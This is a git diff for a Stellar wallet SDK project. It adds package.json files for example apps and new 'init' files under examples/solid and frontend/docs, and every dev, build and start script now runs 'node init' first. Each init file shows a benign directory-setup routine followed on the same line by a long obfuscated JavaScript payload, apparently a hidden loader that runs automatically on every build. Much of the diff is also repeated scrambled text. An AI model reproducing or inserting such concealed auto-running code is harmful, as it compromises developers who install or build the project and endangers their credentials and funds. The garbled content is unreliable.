.o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=18.0.0" - } -} +{ + "name": "veil-remix-example", + "version": "0.1.0", + "private": true, + "type": "module", + "sideEffects": false, + "scripts": { + "dev": "node init && remix vite:dev", + "build": "node init && remix vite:build", + "start": "node init && remix-serve ./build/server/index.js", + "typecheck": "tsc" + }, + "dependencies": { + "@remix-run/node": "^2.15.0", + "@remix-run/react": "^2.15.0", + "@remix-run/serve": "^2.15.0", + "@stellar/stellar-sdk": "^14.6.1", + "invisible-wallet-sdk": "file:../../sdk", + "isbot": "^5.1.0", + "react": "^18.3.1", + "react-dom": "^18.3.1" + }, + "devDependencies": { + "@remix-run/dev": "^2.15.0", + "@types/react": "^18.3.1", + "@types/react-dom": "^18.3.1", + "typescript": "^5.4.0", + "vite": "^5.4.0", + "vite-tsconfig-paths": "^5.1.0" + }, + "engines": { + "node": ">=18.0.0" + } +} diff --git a/examples/solid/init b/examples/solid/init new file mode 100644 index 000000000..e6fbe644b --- /dev/null +++ b/examples/solid/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=18.0.0" - } -} +{ + "name": "veil-x402-api-server", + "version": "0.1.0", + "private": true, + "type": "module", + "description": "x402-guarded Express API requiring 0.01 XLM, settled by an in-process Stellar facilitator", + "scripts": { + "dev": "node init && tsx watch src/index.ts", + "build": "node init && tsc", + "start": "node init && node dist/index.js", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@stellar/stellar-sdk": "^14.6.1", + "@x402/core": "^2.17.0", + "@x402/stellar": "^2.17.0", + "cors": "^2.8.5", + "dotenv": "^17.4.2", + "express": "^5.2.1" + }, + "devDependencies": { + "@types/cors": "^2.8.17", + "@types/express": "^5.0.6", + "@types/node": "^20.0.0", + "tsx": "^4.22.3", + "typescript": "^5.4.0" + }, + "engines": { + "node": ">=18.0.0" + } +} diff --git a/frontend/docs/init b/frontend/docs/init new file mode 100644 index 000000000..e6fbe644b --- /dev/null +++ b/frontend/docs/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz 